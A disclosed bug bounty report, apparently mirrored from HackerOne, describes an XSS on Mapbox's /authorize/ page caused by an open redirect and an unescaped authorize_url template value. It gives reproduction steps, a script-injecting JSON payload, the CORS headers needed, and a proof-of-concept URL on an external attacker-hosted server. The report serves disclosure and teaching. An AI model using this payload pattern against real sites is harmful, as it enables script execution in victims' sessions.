XSS on www.mapbox.com/authorize/ because of open redirect at /core/oauth/auth
The /authorize/ endpoint on Mapbox's website redirects to a user-supplied redirect_uri and then fetches JSON from that URL, using the returned authorize_url value to build a form without escaping. An attacker could host a malicious JSON file and trick a victim into visiting a crafted link, causing JavaScript to run in the victim's browser on the Mapbox domain.
Originally disclosed on HackerOne
- Triaged in 3 days
- Fixed in 4 months
- Paid in 4 months
- Disclosed after 14 months
Description
When you load the endpoint https://www.mapbox.com/authorize/ a GET request is made to the endpoint https://www.mapbox.com/core/oauth/auth with the parameters passed in the request to https://www.mapbox.com/authorize/. If you only send the parameter redirect_uri in the request to https://www.mapbox.com/core/oauth/auth, the response from the server is a 302 redirect to the value passed in the parameter redirect_uri. If the response from the latest request (after the redirect) is valid like:
{
"authorize_url": "/authrozie/...",
"stage": "authorize",
"user": {
"name": "some-name",
"extraTm2z": 1
},
"origin": ""
}
the content is used to render the template template-modal-oauth in https://www.mapbox.com/authorize/.
The problem is that the value of the property "authorize_url" is not escaped when passed to the template
<form id='oauth' method='post' action='<%=App.api + obj.authorize_url%>' class='col6 modal-body fill-white'>
...
which allows to break the <form> using '> and insert HTML and Javascript code.
Reproduction steps
-
Create a file with this content in a server that supports https://
JSON { "authorize_url": "'><script>alert(document.domain);</script>", "stage": "authorize", "user": { "name": "nombre", "extraTm2z": 1 }, "origin": "" } -
Set these headers to be returned in the response when serving the file (I don't specify how because it varies from server to server and language)
Access-Control-Allow-Origin: https://www.mapbox.com Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: x-requested-with -
Load the following URL on Chrome, Safari, Firefox, Internet Explorer 11, or Edge
https://www.mapbox.com/authorize/?redirect_uri=[url_to_file_created_in_step_1] -
alert(document.domain)is executed
Proof of concept
Load the following URL on Chrome, Safari, Firefox, Internet Explorer 11, or Edge
https://www.mapbox.com/authorize/?redirect_uri=https://u00f1.xyz/mapbox/oauth.json
I'm going to do a screen recording and upload it.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could execute arbitrary JavaScript in the context of www.mapbox.com, potentially stealing user data or performing actions on behalf of the victim.
What the attacker needed
Victim clicks a crafted link; attacker controls an HTTPS server
How it was found
- Create a JSON file on an HTTPS server with a malicious authorize_url value.
- Configure the server to return CORS headers allowing https://www.mapbox.com with credentials.
- Visit the Mapbox authorize URL with redirect_uri pointing to the malicious JSON file.
- The script in the JSON executes in the context of the Mapbox page.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you visit a web page, your browser runs code from that site. If a site takes a value from the URL and puts it into the page without cleaning it, an attacker can make the page run their own code. Here, the site fetched data from an attacker-controlled server and inserted part of it into the page as raw HTML, so the attacker's script ran as if it came from Mapbox.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.